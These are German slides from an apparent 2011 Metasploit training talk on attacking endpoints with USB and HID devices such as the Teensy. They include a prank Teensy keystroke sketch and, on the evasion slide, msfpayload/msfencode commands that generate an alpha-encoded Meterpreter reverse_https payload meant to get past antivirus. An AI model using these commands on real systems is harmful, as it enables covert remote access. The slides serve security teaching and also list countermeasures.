

Hacking Endpoint Security



Inhalte

- ❑ Endpoint Security
- ❑ USB-Devices
- ❑ HID-Devices
- ❑ TEENSY
- ❑ Windows XP
- ❑ Windows 7
- ❑ Umgehung von Policies und Virensclannern
- ❑ Keyboard + Disk



USB-Sticks

- ❑ Speichermedien
 - ❑ Risiken:
 - ❑ Einführung von Malware
 - ❑ Data Leakage
 - ❑ 25% der Malware durch USB-Geräte verteilt (InformationWeek)
 - ❑ AutoRUN/AutoPlay Funktionalität



Beispiel: iPod mit W32/RJump

- ❑ Oktober 2006
- ❑ Apple liefert einige iPods mit Windows-Wurm aus
- ❑ Infiziert durch Windows-PC in der Fertigung

- ❑ McDonalds Japan verteilte infizierte 10.000 MP3-Player
 - ❑ QQPass

- ❑ Creative liefert 4000 Zen-Neeon-MP3-Player mit Wurm aus
 - ❑ Wullik.B



HID Devices

- ❑ Human Interface Devices
 - ❑ Mäuse
 - ❑ Tastaturen
- ❑ Treiber überall vorhanden



TEENSY

- ❑ Programmable USB Device
- ❑ Atmel Controller
- ❑ Bibliotheken für
 - ❑ Tastatur
 - ❑ Internal Flash Disk



You are Owned

```
int myKeyBreak = 50;

void setup() {
  delay(10000);
  omg("cmd.exe");
  delay(500);
  Keyboard.println("notepad");
  delay(myKeyBreak);
  delay(3000);
  Keyboard.println("Hallo Lieber Benutzer");
  delay(1000);
  Keyboard.println("Dein Rechner ist gerade Opfer eines Angriffs
geworden!");
  delay(1000000);
}
```





Text Demonstration

www.tuffnet.com

Meterpreter

- ❑ Meterpreter als Payload des USB-Sticks
 - ❑ Download
 - ❑ Auf dem Stick



Gegenmaßnahmen

- ❑ Deaktivierung der cmd.exe
- ❑ Installation eines Virenscanners
 - ❑ Erkennung von Meterpreter



OpenSource Trends Days 2011
Metasploit Tutorial



Umgehung

- ❑ Powershell
- ❑ Virens Scanner
 - ❑ Alpha-Encoded Shellcode
 - ❑ Generierung mit Metasploit
 - ❑ `msfpayload windows/meterpreter/reverse_https LHOST=$IP LPORT=$port EXITFUNC=process R`
 - ❑ `msfencode -e x86/alpha_mixed -t raw BufferRegister=EAX`
 - ❑ Meterpreter Listener





In 2012 ...

- ❑ Bisher hatten wir
 - ❑ Hacking Webapplications
- ❑ 2012 kommen weitere Hacking Schulungen
 - ❑ Metasploit für Penetrationstester
 - ❑ Hacking Complex Networks



Straßensperrung



OpenSource Trends Days 2011
Metasploit Tutorial

OpenSource Trends Days 2012

26. und 27. September 2012

